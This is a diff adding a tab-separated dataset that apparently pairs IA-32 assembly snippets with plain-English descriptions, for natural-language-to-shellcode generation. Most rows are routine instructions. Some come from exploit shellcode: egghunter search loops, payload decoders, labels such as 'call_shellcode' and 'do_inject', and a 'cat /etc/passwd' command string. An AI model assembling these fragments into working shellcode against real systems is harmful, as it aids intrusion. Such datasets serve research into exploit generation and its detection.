diff --git "a/Shellcode_IA32.tsv" "b/Shellcode_IA32.tsv"
new file mode 100644--- /dev/null
+++ "b/Shellcode_IA32.tsv"
@@ -0,0 +1,3201 @@
+SNIPPETS	INTENTS
+_appendfile:	define the _appendfile label
+_build:	define the _build label
+_child:	define the _child label
+_close:	define the _close label
+_cmd:	define the _cmd label
+_continue:	define the _continue label
+_dup2_loop:	define the _dup2_loop label
+_egg:	define the _egg label
+_exec:	define the _exec label
+_execline:	define the _execline label
+_exit:	define the _exit label
+_file:	define the _file label
+_ip equ 0x0100007f	define ip equal to 0x0100007f
+_isegg:	define the _isegg label
+_load_data:	define the _load_data label
+_next:	define the _next label
+_param:	define the _param label
+_params:	define the _params label
+_parent_read:	define the _parent_read label
+_parent:	define the _parent label
+_random:	define the _random label
+_return:	define the _return label
+_setsockopt:	define the _setsockopt label
+_shell:	define the _shell label
+_socket:	define the _socket label
+_start:	_start function
+_start:	define the _start label
+_user:	define the _user label
+_while_loop:	define the _while_loop label
+_write:	define the _write label
+1:	define the label 1
+1:	define the numeric label 1
+2:	define the label 2
+2:	define the numeric label 2
+3:	define the label 3
+3:	define the numeric label 3
+a_letter db 'd'	allocate one byte of memory for a_letter variable and initialize it to 'd'
+add [ebp-4], esi	add esi into memory address ebp-4
+add ah, bh	add the contents of the bh register into the ah register
+add al, 0x25	add 0x25 to the al register
+add al, 0x3	add 0x3 to the contents in al and save the result in al
+add al, 0x33	add 0x33 to the contents in al and save the result in al
+add al, 0x40	add 0x40 to the al register
+add al, 0x66	add 0x66 to the contents in al and save the result in al
+add al, 0xa	add 0xa to the al register
+add al, 0xb	add 0xb to the al register
+add al, 2	add the value 2 to the contents of the al register
+add al, byte '0'	add byte '0' to al
+add al, byte [edi]	add the byte in edi to the al register
+add ax, [di + 20]	add memory[di + 20] to ax
+add ax, 01	add 01 to ax
+add ax, bx	add the contents of bx into ax
+add bl, 0x2	add 0x2 to the contents in bl and save the result in bl
+add bx, ax	add ax to bx
+add byte [esi], 2	add the byte value 2 to the esi register
+add byte [var], 10	add 10 to the single byte stored at memory address var
+add byte [var], 20	add 20 to the single byte stored at memory address var
+add byte [var], 30	add 30 to the single byte stored at memory address var
+add byte_value, 65	add an immediate operand 65 to byte_value
+add byte_value, dl	add the register dl in the memory location byte_value
+add cl, 0x2	add 0x2 to the contents in cl and save the result in cl
+add cl, 0xb8	add 0xb8 to the cl register
+add dx, 0x1b	add the value 0x1b into the dx register
+add dx, 0x2f2f	add 0x2f2f to the contents in dx and save the result in dx
+add eax, [ebp-4]	add the contents of the local variable stored at ebp-4 into eax
+add eax, 0x10	add 0x10 to eax
+add eax, 0x12345678	add 0x12345678 to the contents in eax and save the result in eax
+add eax, 0x2d383638	add 0x2d383638 to the contents in eax and save the result in eax
+add eax, 0x31179798	add 0x31179798 to the contents in eax and save the result in eax
+add eax, 10	add 10 to eax
+add eax, 10	add 10 to the contents of eax
+add eax, 16	add 16 to eax
+add eax, 2	add 2 to the contents of the eax register
+add eax, 2	add 2 to the eax register
+add eax, 2	add decimal 2 to eax register
+add eax, 24	add 24 to eax
+add eax, 4	add 4 to eax
+add eax, 40000h	add 40000h to eax register
+add eax, 48	add 48 to eax
+add eax, 48	add decimal 48 to eax
+add eax, c	add c to eax
+add eax, ebx	add ebx to eax
+add eax, ebx	add ebx to eax and store the result in eax
+add eax, ebx	add the contents of ebx to the contents of eax
+add eax, edx	add edx to eax
+add eax, edx	add the contents of edx to the contents of eax
+add eax, edx	add the contents of the edx register to the contents of eax register
+add eax, esi	add the contents of esi to the contents of eax
+add eax, esi	add the contents of the esi register to the contents of eax register
+add ebp, 0x2	add 0x2 to the contents of ebp
+add ebx, 0x2	add 0x2 to the contents in ebx and save the result in ebx
+add ebx, 16	add 16 to ebx
+add ebx, 2	add 2 to the contents of the ebx register
+add ebx, 2	add decimal integer 2 to ebx
+add ebx, 24	add 48 to ebx
+add ebx, 3	add 3 to the contents of the ebx register
+add ebx, 5	add decimal integer 5 to ebx
+add ebx, ecx	add ecx to ebx
+add ecx, 1	add the value 1 into the ecx register
+add ecx, 16	add 16 to ecx
+add ecx, ebx	add ebx to ecx
+add edi, edi	add the contents of edi to the contents of edi
+add edi, edi	add the contents of the edi register to the contents of edi register
+add edx, 16	set edx to next 16 byte block
+add edx, 32	add 32 to edx
+add edx, 48	add 48 to edx
+add edx, 64	add 64 to the contents of the edx register
+add edx, eax	add the contents of eax to the contents of edx
+add edx, eax	add the contents of the eax register to the contents of edx register
+add edx, eax	add the contents of the eax register to the edx register
+add edx, ecx	add ecx to edx
+add esi, 0x21354523	add 0x21354523 to the contents in esi and save the result in esi
+add esi, 0x21354523	add 0x21354523 to the contents of esi
+add esi, 0x30	add 0x30 to esi
+add esi, 0x33333333	add 0x33333333 value to esi
+add esi, 0x3f3f3f3f	add 0x3f3f3f3f to the contents in esi and save the result in esi
+add esi, 4	add 4 to esi
+add esi, 4	add 4 to the contents of the esi register
+add esi, eax	add eax to esi
+add esi, eax	add the contents of the eax register to the contents of esi register
+add esp, 0x20	add 0x20 to the contents in esp and save the result in esp
+add esp, 3	add 3 to the contents of esp
+add esp, 3	add 3 to the contents of the esp register
+add esp, 4	add 4 to the esp register
+add marks, 10	add 10 to the variable marks
+addr: db 0x1	define the byte addr and initialize it to 0x1
+all:	define the all label
+an_integer dd 12425	define the doubleword an_integer and initialize it to 12425
+and al, 0fh	perform a logical and operation between the al register and the 0fh value and store the result in the al register
+and ax, 1	perform logical and between ax and 1
+and eax, 0000000fh	mask out lowest 4 bits of the eax register
+and eax, 0fh	clear all but the last 4 bits of eax
+and eax, 3f465456	perform and operation between eax and 3f465456 and save the result in eax
+and eax, 40392b29	perform and operation between eax and 40392b29 and save the result in eax
+and ebx, 0000000fh	mask out lowest 4 bits of the ebx register
+and ecx, 0000000fh	mask out lowest 4 bits of the ecx register
+and edx, 0000000fh	mask out lowest 4 bits of the edx register
+and mask1, 128	perform and operation on the variable mask1 and 128
+arr dd 100	define the doubleword arr and initialize it to 100
+arr dd 50	define the doubleword arr and initialize it to 50
+arr1 resb 400	reserve the array arr1 of 400 uninitialized bytes
+array dd 20	define the doubleword arr and initialize it to 20
+array word 20	define an array of 20 initialized word
+array word 5	define an array of 5 initialized word
+b: dd 0x0	create variable b in memory and initialize to zero
+big_number dd 123456789	define the doubleword variable big_number and initialize it to 123456789
+bignum: resw 1	reserve 1 word at location bignum
+buffer: resb 64	reserve 64 bytes for buffer
+buffersize: dw 1024	declare buffersize to be a word containing 1024
+byte_table db 14, 15, 22, 45	define a tables of bytes byte_table and initialize to 14, 15 and 22
+byte_value db 150	define the byte value byte_value and initialize it to 150
+bytes db 10	define the byte value bytes and initialize it to 10
+bytes db 20	define the byte value bytes and initialize it to 20
+call _appendfile	call the _appendfile function
+call _build	call the _build function
+call _continue	call _continue
+call _continue	call the _continue function
+call _exec	call the _exec function
+call _exit	call _exit
+call _malloc	call _malloc
+call _myfunc	call the _myfunc function
+call _params	call the _params function
+call _printf	call the _printf function
+call _write	call the _write function
+call [esp]	call the function in esp
+call atoi	call the atoi function
+call code	call the code function
+call cont	call the cont function
+call decoder	call the decoder function
+call doit	call the doit function
+call egghunter	call the egghunter function
+call esi	call the esi function
+call esi	call the function in esi
+call esp	call the esp function
+call execute	call the execute function
+call internetreadfile	call function internetreadfile
+call iprint	call the iprint function
+call iprintlf	call the iprintlf function
+call jmp_search	call jmp_search
+call jmp_search	call the jmp_search function
+call loader	call the loader function
+call main	call the main function
+call me	call the me function
+call my_subroutine	call my_subroutine
+call near stageaddress	call the near function
+call one	call the one function
+call prepare	call the prepare function
+call quit	call the quit function
+call set_argv	call set_argv
+call set_argv	call the set_argv function
+call shell_ret	call the shell_ret function
+call shellcode	call the shellcode function
+call sprint	call the sprint function
+call sprintlf	call the sprintlf function
+call start	call the start function
+call strlen	call the strlen function
+call two	call the two function
+call write	call the write function
+call writestring	call the writestring function
+call writestring	call writestring
+call_decoded:	define the call_decoded label
+call_decoder:	define call_decoder function
+call_decoder:	define the call_decoder label
+call_egghunter:	define the call_egghunter label
+call_shellcode:	declare the call_shellcode label
+call_shellcode:	define call_shellcode function
+call_shellcode:	define call_shellcode label
+call_shellcode:	define the call_shellcode label
+call_write:	define the call_write label
+callit:	define the callit label
+callme:	define the callme label
+callpop:	define the callpop function
+callpop:	define the callpop label
+cdq	clear the edx register
+cdq	extend the sign bit of eax into the edx register
+cdq	extend the sign bit of eax register into the edx register
+cdq	extend the sign bit of the eax register into the edx register
+check_even_odd:	define check_even_odd function
+child:	define the child function
+child:	define the child label
+chmod_call equ 15	define chmod_call equal to 15
+choice db 'y'	define variable choice of 1 byte and initialize to y
+cld	clear the direction flag
+cld	direction flag equal to zero
+cld	set the direction flag to zero
+close_syscall equ 6	define close_syscall equal to 6
+closefile:	define the closefile function
+closefile:	define the closefile label
+cmd:	define the cmd label
+cmd: db 'cat /etc/passwd'	declare cmd string and initialize it to 'cat /etc/passwd'
+cmd: db 'cat /etc/passwd'	define cmd as the byte string 'cat /etc/passwd'
+cmp [ebp+arg_0], 1	compare the contents stored at ebp+arg_0 with 1
+cmp [ebp+var_a], 0	compare if the contents at memory location ebp+var_a is 0
+cmp [ebp+var_a], 0	compare the contents at memory location ebp+var_a with 0
+cmp [ebp+var_a], 0 \n jnz short loc_4010E5	jump short to the memory location loc_4010E5 if the contents of the memory address ebp+var_a is not equal to zero
+cmp [ebp+var_a], 0 \n jnz short loc_4010E5	if the contents of the memory address ebp+var_a is not equal to zero then jump short to the memory location loc_4010E5
+cmp [esi], edx	compare the contents at memory location esi and the contents of the edx register
+cmp [esi], edx	compare the contents at memory location esi with edx
+cmp al, 0x38 \n je 0x40 \n push byte 0x1	jump to the memory address 0x40 if the contents of the al register is equal to the value 0x38 else push the byte representation of the value 0x1 onto the stack
+cmp al, 0x38 \n je 0x40 \n push byte 0x1	if the contents of the al register is equal to the value 0x38 then jump to the memory address 0x40 else push the byte representation of the value 0x1 onto the stack
+cmp al, 0xaa \n je decode_insertion \n xor al, bl	jump to the decode_insertion label if the contents of the al register is equal to the vale 0xaa else perform a logical xor operation between the al register and the bl register and store the result in the al register
+cmp al, 0xaa \n je decode_insertion \n xor al, bl	if the contents of the al register is equal to the vale 0xaa then jump to the decode_insertion label else perform a logical xor operation between the al register and the bl register and store the result in the al register
+cmp al, 0xf2	compare if the contents of al with 0xf2
+cmp al, 0xf2	compare the contents of the al register and 0xf2
+cmp al, 0xf2	compare the contents of the al register with the value 0xf2
+cmp al, 0xf2 \n je _start	jump to the _start label if the contents of the al register is equal to the value 0xf2
+cmp al, 0xf2 \n je _start	if the contents of the al register is equal to the value 0xf2 then jump to the _start label
+cmp al, 0xf2 \n je _start \n mov eax, 0x50905090	jump to the _start label if the contents of the al register is equal to the value 0xf2 else move the value 0x50905090 into the eax register
+cmp al, 0xf2 \n je _start \n mov eax, 0x50905090	if the contents of the al register is equal to the value 0xf2 then jump to the _start label else move the value 0x50905090 into the eax register
+cmp al, 0xf2 \n je fillOnes	jump to the fillOnes label if the contents of the al register is equal to the value 0xf2
+cmp al, 0xf2 \n je fillOnes	if the contents of the al register is equal to the value 0xf2 then jump to the fillOnes label
+cmp al, 0xf2 \n je fillOnes \n mov eax, 0x59935193	jump to the fillOnes label if the contents of the al register is equal to 0xf2 else move the value 0x59935193 into the eax register
+cmp al, 0xf2 \n je fillOnes \n mov eax, 0x59935193	if the contents of the al register is equal to 0xf2 then jump to the fillOnes label else move the value 0x59935193 into the eax register
+cmp al, 0xf2 \n je next_page	jump to the label next_page if the contents of the al register is equal to the value 0xf2
+cmp al, 0xf2 \n je next_page	if the contents of the al register is equal to the value 0xf2 then jump to the label next_page
+cmp al, 0xf2 \n jz _start	jump to the _start label if the contents of the al register is equal to the value 0xf2
+cmp al, 0xf2 \n jz _start	if the contents of the al register is equal to the value 0xf2 then jump to the _start label
+cmp al, 0xf2 \n jz incpage	jump to the incpage label if the contents of the al register is equal to the value 0xf2
+cmp al, 0xf2 \n jz incpage	if the contents of the al register is equal to the value 0xf2 then jump to the incpage label
+cmp al, 9 \n jg l1	jump to the label l1 if the contents of the al register is greater than the decimal value 9
+cmp al, 9 \n jg l1	if the contents of the al register is greater than the decimal value 9 then jump to the label l1
+cmp al, 9 \n jge l1	jump to the label l1 if the contents of the al register is greater than or equal to the decimal value 9
+cmp al, 9 \n jge l1	if the contents of the al register is greater than or equal to the decimal value 9 then jump to the label l1
+cmp al, bl \n ja l2 \n add eax, 3	jump to the l2 label if the unsigned contents of the al register is greater than the unsigned contents of the bl register else add the value 3 to the eax register
+cmp al, bl \n ja l2 \n add eax, 3	if the unsigned contents of the al register is greater than the unsigned contents of the bl register then jump to the l2 label else add the value 3 to the eax register
+cmp al, bl \n jb l2	jump to the label l2 if the unsigned contents of the al register is lower than the unsigned contents of the bl register
+cmp al, bl \n jb l2	if the unsigned contents of the al register is lower than the unsigned contents of the bl register then jump to the label l2
+cmp al, cl	compare the contents of al with the cl register
+cmp al, cl	compare the contents of the al register and the contents of the cl register
+cmp al, cl \n jne short decode \n jmp shellcode	jump short to the decode label if the contents of the al register is not equal to the contents of the cl register else jump to the shellcode label
+cmp al, cl \n jne short decode \n jmp shellcode	if the contents of the al register is not equal to the contents of the cl register then jump short to the decode label else jump to the shellcode label
+cmp ax, bx \n jne l3	jump to the l3 label if the contents of the ax register is not equal to the contents of the bx register
+cmp ax, bx \n jne l3	if the contents of the ax register is not equal to the contents of the bx register then jump to the l3 label
+cmp ax, bx \n jne l3 \n jmp while	jump to the l3 label if the contents of the ax register is not equal to the contents of the bx register else jump to the while label
+cmp ax, bx \n jne l3 \n jmp while	if the contents of the ax register is not equal to the contents of the bx register then jump to the l3 label else jump to the while label
+cmp bh, al	compare the contents of bh and the contents of al
+cmp bl, 0x1f	compare the contents of bl and 0x1f
+cmp bl, 0x1f \n jb 0xf3 \n add al, 0x40	jump to the memory address 0xf3 if the unsigned contents of the bl register is lower than the unsigned value 0x1f else add the 0x40 value to the al register
+cmp bl, 0x1f \n jb 0xf3 \n add al, 0x40	if the unsigned contents of the bl register is lower than the unsigned value 0x1f then jump to the memory address 0xf3 else add the 0x40 value to the al register
+cmp bl, 0xaa \n je shellcode	jump to the shellcode label if the contents of the bl register is equal to the value 0xaa
+cmp bl, 0xaa \n je shellcode	if the contents of the bl register is equal to the value 0xaa then jump to the shellcode label
+cmp bl, 0xbb \n je xordecode \n jmp notdecode	jump to the xordecode label if the contents of the bl register is equal to the value 0xbb else jump to the notdecode label
+cmp bl, 0xbb \n je xordecode \n jmp notdecode	if the contents of the bl register is equal to the value 0xbb then jump to the xordecode label else jump to the notdecode label
+cmp bl, 48	compare ebx register's lower half value against ascii value 48
+cmp bl, 57	compare ebx register's lower half value against ascii value 57
+cmp bl, 78h \n jg short loc_402B1D	jump to the memory location loc_402B1D if the contents of the bl register is greater than the value 78h
+cmp bl, 78h \n jg short loc_402B1D	if the contents of the bl register is greater than the value 78h then jump to the memory location loc_402B1D
+cmp bl, 78h \n jge short loc_402B1D	jump to the memory location loc_402B1D if the contents of the bl register is greater than or equal to the value 78h
+cmp bl, 78h \n jge short loc_402B1D	if the contents of the bl register is greater than or equal to the value 78h then jump to the memory location loc_402B1D
+cmp bl, 78h \n jl short loc_402B1D	jump to the memory location loc_402B1D if the contents of the bl register is less than the value 78h
+cmp bl, 78h \n jl short loc_402B1D	if the contents of the bl register is less than the value 78h then jump to the memory location loc_402B1D
+cmp bl, 78h \n jle short loc_402B1D	jump to the memory location loc_402B1D if the contents of the bl register is less than or equal to the value 78h
+cmp bl, 78h \n jle short loc_402B1D	if the contents of the bl register is less than or equal to the value 78h then jump to the memory location loc_402B1D
+cmp bl, al \n je loop_2	jump to the loop_2 label if the contents of the bl register is equal to the contents of the al register
+cmp bl, al \n je loop_2	if the contents of the bl register is equal to the contents of the al register then jump to the loop_2 label
+cmp bl, al \n je loop_2 \n jmp short not_found	jump to the loop_2 label if the contents of the bl register is equal to the contents of the al register else jump short to the not_found label
+cmp bl, al \n je loop_2 \n jmp short not_found	if the contents of the bl register is equal to the contents of the al register then jump to the loop_2 label else jump short to the not_found label
+cmp byte [buff], 61h	compare the byte at the memory location buff with 61h
+cmp byte [buff], 7ah	compare the byte at the memory location buff with 7ah
+cmp byte [eax], 0	compare the byte pointed to by eax at this address against zero
+cmp byte [ebp+ecx], 61h	compare the byte at the memory location ebp+ecx with 61h
+cmp byte [ebp+ecx], 7ah	compare the byte at the memory location ebp+ecx with 7ah
+cmp BYTE [edx], 0x2e \n jne l2	jump to the l2 label if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e
+cmp BYTE [edx], 0x2e \n jne l2	if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e then jump to the l2 label
+cmp BYTE [edx], 0x2e \n jne l2 \n jmp while	jump to the l2 label if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e else jump to the while label
+cmp BYTE [edx], 0x2e \n jne l2 \n jmp while	if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e then jump to the l2 label else jump to the while label
+cmp byte [esi], 0x7	compare the byte in esi with 0x7
+cmp BYTE [esi], 0x7 \n jl lowbound	jump to the lowbound label if the byte starting at the address contained in the esi register is lower than the byte value 0x7
+cmp BYTE [esi], 0x7 \n jl lowbound	if the byte starting at the address contained in the esi register is lower than the byte value 0x7 then jump to the lowbound label
+cmp BYTE [esi], 0x7 \n jl lowbound \n sub BYTE [esi], 0x7	jump to the lowbound label if the byte starting at the address contained in the esi register is lower than the byte value 0x7 else subtract the byte value 0x7 from byte starting at the address contained in the esi register
+cmp BYTE [esi], 0x7 \n jl lowbound \n sub BYTE [esi], 0x7	if the byte starting at the address contained in the esi register is lower than the byte value 0x7 then jump to the lowbound label else subtract the byte value 0x7 from byte starting at the address contained in the esi register
+cmp BYTE [esi], 0x7 \n jle lowbound	jump to the lowbound label if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0x7
+cmp BYTE [esi], 0x7 \n jle lowbound	if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0x7 then jump to the lowbound label
+cmp byte [esi], 0xd	compare the byte at the address esi and 0xd
+cmp byte [esi], 0xD \n jl wrap_around	jump to the wrap_around label if the byte starting at the address contained in the esi register is lower than the byte value 0xD
+cmp byte [esi], 0xD \n jl wrap_around	if the byte starting at the address contained in the esi register is lower than the byte value 0xD then jump to the wrap_around label
+cmp byte [esi], 0xD \n jl wrap_around \n sub byte [esi], 0xD	jump to the wrap_around label if the byte starting at the address contained in the esi register is lower than the byte value 0xD else subtract the byte value 0xD from byte starting at the address contained in the esi register
+cmp byte [esi], 0xD \n jl wrap_around \n sub byte [esi], 0xD	if the byte starting at the address contained in the esi register is lower than the byte value 0xD then jump to the wrap_around label else subtract the byte value 0xD from byte starting at the address contained in the esi register
+cmp byte [esi], 0xD \n jle wrap_around	jump to the wrap_around label if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0xD
+cmp byte [esi], 0xD \n jle wrap_around	if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0xD then jump to the wrap_around label
+cmp BYTE al, 2 \n je do_inject	jump to the label do_inject if the byte representation of 2 is equal to the contents of the al register
+cmp BYTE al, 2 \n je do_inject	if the byte representation of 2 is equal to the contents of the al register then jump to the label do_inject
+cmp BYTE al, 2 \n je do_inject \n jmp while	jump to the label do_inject if the byte representation of 2 is equal to the contents of the al register else jump to the while label
+cmp BYTE al, 2 \n je do_inject \n jmp while	if the byte representation of 2 is equal to the contents of the al register else jump to the while label then jump to the label do_inject
+cmp BYTE bl, [esi] \n jne loop_1	jump to the label loop_1 if the first byte of the esi register is not equal to the contents of the bl register
+cmp BYTE bl, [esi] \n jne loop_1	if the first byte of the esi register is not equal to the contents of the bl register then jump to the label loop_1
+cmp cl, 0x11 \n jb 0xff \n add dl, 0x5	jump to the memory address 0xff if the unsigned contents of the cl register is lower than the unsigned value 0x11 else add the 0x5 value to the dl register
+cmp cl, 0x11 \n jb 0xff \n add dl, 0x5	if the unsigned contents of the cl register is lower than the unsigned value 0x11 then jump to the memory address 0xff else add the 0x5 value to the dl register
+cmp cl, 0x3 \n jne loop	jump to the loop label if the contents of the cl register is not equal to the value 0x3
+cmp cl, 0x3 \n jne loop	if the contents of the cl register is not equal to the value 0x3 then jump to the loop label
+cmp cl, 0x3 \n jne loop2	jump to the loop2 label if the contents of the cl register is not equal to the value 0x3
+cmp cl, 0x3 \n jne loop2	if the contents of the cl register is not equal to the value 0x3 then jump to the loop2 label
+cmp cl, 12 \n jg l2	jump to the label l2 if the contents of the cl register is greater than the decimal value 12
+cmp cl, 12 \n jg l2	if the contents of the cl register is greater than the decimal value 12 then jump to the label l2
+cmp cl, 12 \n jge l2	jump to the label l2 if the contents of the cl register is greater than or equal to the decimal value 12
+cmp cl, 12 \n jge l2	if the contents of the cl register is greater than or equal to the decimal value 12 then jump to the label l2
+cmp cl, dl \n jb l3	jump to the label l3 if the unsigned contents of the cl register is lower than the unsigned contents of the dl register
+cmp cl, dl \n jb l3	if the unsigned contents of the cl register is lower than the unsigned contents of the dl register then jump to the label l3
+cmp cl, dl \n je EncodedShellcode	jump to the EncodedShellcode label if the contents of the cl register is equal to the contents of the dl register
+cmp cl, dl \n je EncodedShellcode	if the contents of the cl register is equal to the contents of the dl register then jump to the EncodedShellcode label
+cmp cl, dl \n je init \n inc cl	jump to the init label if the contents of the cl register is equal to the contents of the dl register else increment the contents of the cl register
+cmp cl, dl \n je init \n inc cl	if the contents of the cl register is equal to the contents of the dl register then jump to the init label else increment the contents of the cl register
+cmp dl, 1 \n je exit \n jmp reading	jump to the exit label if the contents of the dl register is equal to the vale 1 else jump to the reading label
+cmp dl, 1 \n je exit \n jmp reading	if the contents of the dl register is equal to the vale 1 then jump to the exit label else jump to the reading label
+cmp dl, 1h	compare the contents of the dl register and 1h
+cmp dl, 27 \n jg l3	jump to the label l3 if the contents of the dl register is greater than the decimal value 27
+cmp dl, 27 \n jg l3	if the contents of the dl register is greater than the decimal value 27 then jump to the label l3
+cmp dl, 27 \n jge l3	jump to the label l3 if the contents of the dl register is greater than or equal to the decimal value 27
+cmp dl, 27 \n jge l3	if the contents of the dl register is greater than or equal to the decimal value 27 then jump to the label l3
+cmp dl, cl \n jb l1 \n mov al, 0x39	jump to the label l1 if the unsigned contents of the dl register is lower than the unsigned contents of the cl register else move the value 0x39 to the al register
+cmp dl, cl \n jb l1 \n mov al, 0x39	if the unsigned contents of the dl register is lower than the unsigned contents of the cl register then jump to the label l1 else move the value 0x39 to the al register
+cmp dword [eax-4], egg1	compare the dword at the address [eax-4] and egg1
+cmp dword [eax-4], egg1 \n jne _next \n jmp eax	jump to the _next label if the doubleword starting at the address [eax-4] is not equal to the contents stored at the egg1 address else jump to the eax register
+cmp dword [eax-4], egg1 \n jne _next \n jmp eax	if the doubleword starting at the address [eax-4] is not equal to the contents stored at the egg1 address then jump to the _next label else jump to the eax register
+cmp dword [eax-4], egg2 \n je _next \n jmp eax	jump to the _next label if the doubleword starting at the address [eax-4] is equal to the contents stored at the egg2 address else jump to the eax register
+cmp dword [eax-4], egg2 \n je _next \n jmp eax	if the doubleword starting at the address [eax-4] is equal to the contents stored at the egg2 address then jump to the _next label else jump to the eax register
+cmp dword [eax-4],egg1	compare the dword at the memory location [eax-4] with the value of egg1
+cmp dword [eax-8], egg	compare the dword at the address [eax-8] and egg
+cmp dword [eax-8], egg \n jne _next	jump to the _next label if the doubleword starting at the address [eax-8] is not equal to the contents stored at the egg address
+cmp dword [eax-8], egg \n jne _next	if the doubleword starting at the address [eax-8] is not equal to the contents stored at the egg address then jump to the _next label
+cmp dword [eax-8],egg	compare the dword at the memory location [eax-8] with the value of egg
+cmp DWORD [eax], 0x4f904790 \n jne _start \n jmp eax	jump to the jne _start label if the doubleword starting at the address contained in the eax register is not equal to the doubleword value 0x4f904790 else jump to the eax register
+cmp DWORD [eax], 0x4f904790 \n jne _start \n jmp eax	if the doubleword starting at the address contained in the eax register is not equal to the doubleword value 0x4f904790 then jump to the jne _start label else jump to the eax register
+cmp dword [eax], ebx	compare the dword at the address [eax] and the contents of the ebx register
+cmp dword [eax], ebx \n jne next_addr \n jmp eax	jump to the next_address label if the doubleword starting at the address contained in the eax register is not equal to the contents of the ebx regoster else jump to the eax register
+cmp dword [eax], ebx \n jne next_addr \n jmp eax	if the doubleword starting at the address contained in the eax register is not equal to the contents of the ebx regoster then jump to the next_address label else jump to the eax register
+cmp DWORD [eax], edx \n jne loop \n jmp eax	jump to the loop label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register
+cmp DWORD [eax], edx \n jne loop \n jmp eax	if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register then jump to the loop label else jump to the eax register
+cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax	jump to the while label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register
+cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax	jump to the search_the_egg label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register
+cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax	if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register then jump to the while label else jump to the eax register
+cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax	if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register then jump to the search_the_egg label else jump to the eax register
+cmp DWORD [edx], 0x636f7270 \n je while	jump to the while label if the doubleword starting at the address contained in the edx register is equal to the doubleword value 0x636f7270
+cmp DWORD [edx], 0x636f7270 \n je while	if the doubleword starting at the address contained in the edx register is equal to the doubleword value 0x636f7270 then jump to the while label
+cmp dword [var], 10	compare the doubleword stored at memory location var to the integer value 10
+cmp dx, 00	compare the dx value with zero
+cmp dx, 0x03e8 \n je L1	jump to the L1 label if the contents of the dx register is equal to the value 0x03e8
+cmp dx, 0x03e8 \n je L1	if the contents of the dx register is equal to the value 0x03e8 then jump to the L1 label
+cmp eax, 0	compare eax to zero
+cmp eax, 0	compare if eax is equal to 0
+cmp eax, 0	compare if eax is zero
+cmp eax, eax	compare the contents of eax and the contents of eax
+cmp eax, eax \n jne 0x8	jump to the memory address 0x8 if the contents of the eax register is not equal to the contents of the eax register
+cmp eax, eax \n jne 0x8	if the contents of the eax register is not equal to the contents of the eax register then jump to the memory address 0x8
+cmp eax, eax \n jne 0x8 \n xor eax, eax	jump to the memory address 0x8 if the contents of the eax register is not equal to the contents of the eax register else zero out the eax register
+cmp eax, eax \n jne 0x8 \n xor eax, eax	if the contents of the eax register is not equal to the contents of the eax register then jump to the memory address 0x8 else zero out the eax register
+cmp eax, ebp \n jnz short loc_40102B	jump short to the memory location loc_40102B if the contents of the eax register is not equal to the contents of the ebp register
+cmp eax, ebp \n jnz short loc_40102B	if the contents of the eax register is not equal to the contents of the ebp register then jump short to the memory location loc_40102B
+cmp eax, ebx	compare eax with ebx
+cmp eax, ebx	compare the contents of eax and the contents of ebx
+cmp eax, ebx	compare the contents of the eax register and the contents of the ebx register
+cmp eax, ebx \n je 0x47	jump to the memory address 0x47 if the contents of the eax register is equal to the contents of the edi register
+cmp eax, ebx \n je 0x47	if the contents of the eax register is equal to the contents of the edi register then jump to the memory address 0x47
+cmp eax, ebx \n je 0x47 \n xor ecx, ecx	jump to the memory address 0x47 if the contents of the eax register is equal to the contents of the edi register else zero out the ecx register
+cmp eax, ebx \n je 0x47 \n xor ecx, ecx	if the contents of the eax register is equal to the contents of the edi register then jump to the memory address 0x47 else zero out the ecx register
+cmp eax, ebx \n je all	jump to the all label if the contents of the eax register is equal to the contents of the ebx register
+cmp eax, ebx \n je all	if the contents of the eax register is equal to the contents of the ebx register then jump to the all label
+cmp eax, ebx \n je all \n xor eax, eax	jump to the all label if the contents of the eax register is equal to the contents of the ebx register else zero out the eax register
+cmp eax, ebx \n je all \n xor eax, eax	if the contents of the eax register is equal to the contents of the ebx register then jump to the all label else zero out the eax register
+cmp eax, ebx \n je child	jump to the child label if the contents of the eax register is equal to the contents of the ebx register
+cmp eax, ebx \n je child	if the contents of the eax register is equal to the contents of the ebx register then jump to the child label
+cmp eax, ebx \n je connect \n ja exit	jump to the connect label if the contents of the eax register is equal to the contents of the ebx register else jump to the exit label if the unsigned contents of the eax register is greater than the unsigned contents of the ebx register
+cmp eax, ebx \n je connect \n ja exit	if the contents of the eax register is equal to the contents of the ebx register then jump to the connect label else jump to the exit label if the unsigned contents of the eax register is greater than the unsigned contents of the ebx register
+cmp eax, ebx \n je download	jump to the download label if the contents of the eax register is equal to the contents of the ebx register
+cmp eax, ebx \n je download	if the contents of the eax register is equal to the contents of the ebx register then jump to the download label
+cmp eax, ebx \n je exit	jump to the exit label if the contents of the eax register is equal to the contents of the ebx register
+cmp eax, ebx \n je exit	if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label
+cmp eax, ebx \n je exit \n add al, 0x3	jump to the exit label if the contents of the eax register is equal to the contents of the ebx register else move the value 0x3 into the al register
+cmp eax, ebx \n je exit \n add al, 0x3	if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label else move the value 0x3 into the al register
+cmp eax, ebx \n je exit \n mov al, 0x4	jump to the exit label if the contents of the eax register is equal to the contents of the ebx register else move the value 0x4 into the al register
+cmp eax, ebx \n je exit \n mov al, 0x4	if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label else move the value 0x4 into the al register
+cmp eax, ebx \n je L1	jump to the L1 label if the contents of the eax register is equal to the contents of the ebx register
+cmp eax, ebx \n je L1	if the contents of the eax register is equal to the contents of the ebx register then jump to the L1 label
+cmp eax, ebx \n jne retry	jump to the retry label if the contents of the eax register is not equal to the contents of the ebx register
